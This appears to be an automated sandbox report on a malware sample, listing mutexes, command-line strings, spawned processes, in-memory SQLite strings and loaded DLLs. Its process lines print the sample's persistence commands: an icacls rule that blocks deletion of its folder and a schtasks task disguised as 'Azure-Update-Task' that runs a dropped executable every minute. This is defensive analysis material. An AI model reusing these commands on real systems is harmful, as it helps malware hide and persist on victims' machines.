Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Mutant created: \Sessions\1\BaseNamedObjects\M5/610HP/STAGE2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7132:120:WilError_03

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: F:\	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --ForNetRes	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsAutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: IsTask	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Task	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --AutoStart	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Service	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: X1P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: --Admin	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: runas	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: x2Q	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: x*P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: C:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: D:\Windows\	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: 7P	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: %username%	1_2_00419F90
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Command line argument: F:\	1_2_00419F90

Source: lzShU2RYJa.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938732049.000000001E8B8000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: lzShU2RYJa.exe

ReversingLabs: Detection: 42%

Source: lzShU2RYJa.exe	String found in binary or memory: set-addPolicy
Source: lzShU2RYJa.exe	String found in binary or memory: id-cmc-addExtensions
Source: lzShU2RYJa.exe	String found in binary or memory: set-addPolicy
Source: lzShU2RYJa.exe	String found in binary or memory: id-cmc-addExtensions
Source: lzShU2RYJa.exe	String found in binary or memory: set-addPolicy
Source: lzShU2RYJa.exe	String found in binary or memory: id-cmc-addExtensions
Source: lzShU2RYJa.exe	String found in binary or memory: set-addPolicy
Source: lzShU2RYJa.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

File read: C:\Users\user\Desktop\lzShU2RYJa.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe"
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe"
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\Desktop\lzShU2RYJa.exe "C:\Users\user\Desktop\lzShU2RYJa.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe --Task
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build2.exe"
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Process created: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe "C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe"
Source: C:\Users\user\AppData\Local\fe6f00bc-746e-4cfb-9118-7560f7fc67df\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	Process created: C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe "C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	Section loaded: ntlanman.dll	Jump to behavior
